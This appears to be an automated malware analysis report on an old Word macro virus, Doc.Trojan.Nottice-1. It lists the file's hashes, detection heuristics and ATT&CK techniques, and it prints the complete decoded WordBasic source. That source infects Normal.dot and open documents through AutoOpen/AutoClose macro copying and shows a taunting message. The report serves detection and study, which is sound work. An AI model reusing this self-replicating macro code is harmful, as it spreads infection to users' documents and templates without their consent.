Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2d9c0d9e4a44e9c…

MALICIOUS

Office (OLE)

38.0 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6918ca9eaeb6eec2d3ca6bb58350b0c2 SHA-1: 8fb5ac790a8d4e683a757acb950de9a25654c0fb SHA-256: d2d9c0d9e4a44e9c0ebe5ed3c36024021ae12ac3a88fd0352df912c2d34a461d
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is a malicious OLE document containing legacy WordBasic macros. The AutoOpen and AutoClose macros are designed to infect the global template (Normal.dot) or the current document with additional macros, including 'WININIT'. This suggests an attempt to establish persistence or prepare for further malicious actions. The use of legacy WordBasic and the specific macro names point to older malware techniques.

Heuristics 5

  • ClamAV: Doc.Trojan.Nottice-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nottice-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2428 bytes
SHA-256: e47c437ad5c1a7650bd2b3ade93bf24af6da355576ac0adc485953a34210a9f6
Detection
ClamAV: Doc.Trojan.Nottice-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"
Option Explicit


Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim J$
On Error GoTo -1: On Error GoTo Finish
WordBasic.DisableAutoMacros 0
J$ = LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If J$ = "normal.dot" Then
   If VI = 1 Then
      GoTo Finish
   Else
      InfectDOC
   End If
Else
   If VI2 = 1 Then
      GoTo Finish
   Else
      InfectGlobal
   End If
End If
Finish:
WordBasic.Call "WININIT"
End Sub

Private Function VI()
Dim i
VI = 0
If WordBasic.CountMacros(1) > 0 Then
   For i = 1 To WordBasic.CountMacros(1)
                  If WordBasic.[MacroName$](i, 1) = "WININIT" Then
                            VI = 1
      End If
   Next i
End If
End Function

Private Function VI2()
Dim i
VI2 = 0
If WordBasic.CountMacros(0) > 0 Then
   For i = 1 To WordBasic.CountMacros(0)
                  If WordBasic.[MacroName$](i, 0) = "WININIT" Then
                            VI2 = 1
      End If
   Next i
End If
End Function

Private Sub InfectDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:WININIT", WordBasic.[FileName$]() + ":WININIT"
WordBasic.FileSaveAll 1, 1
End Sub

Private Sub InfectGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":WININIT", "Global:WININIT"
WordBasic.FileSaveAll 1, 0
End Sub

Attribute VB_Name = "WININIT"
Option Explicit


Public Sub MAIN()
   WordBasic.FileNew
   WordBasic.ToggleFull
   WordBasic.DocMaximize
   WordBasic.Font "Imprint MT Shadow"
   WordBasic.FontSize 60
   WordBasic.Bold
   WordBasic.Insert "IMPORTAT NOTTICE!"
   WordBasic.StartOfLine
   WordBasic.CharRight 1, 1
   WordBasic.FormatFont Points:="48", Color:=6
   WordBasic.EndOfLine
   WordBasic.InsertPara
   WordBasic.InsertPara
   WordBasic.FontSize 48
   WordBasic.Insert "HANSSI A. A. IS MARRIED WITH A LOSSER."
End Sub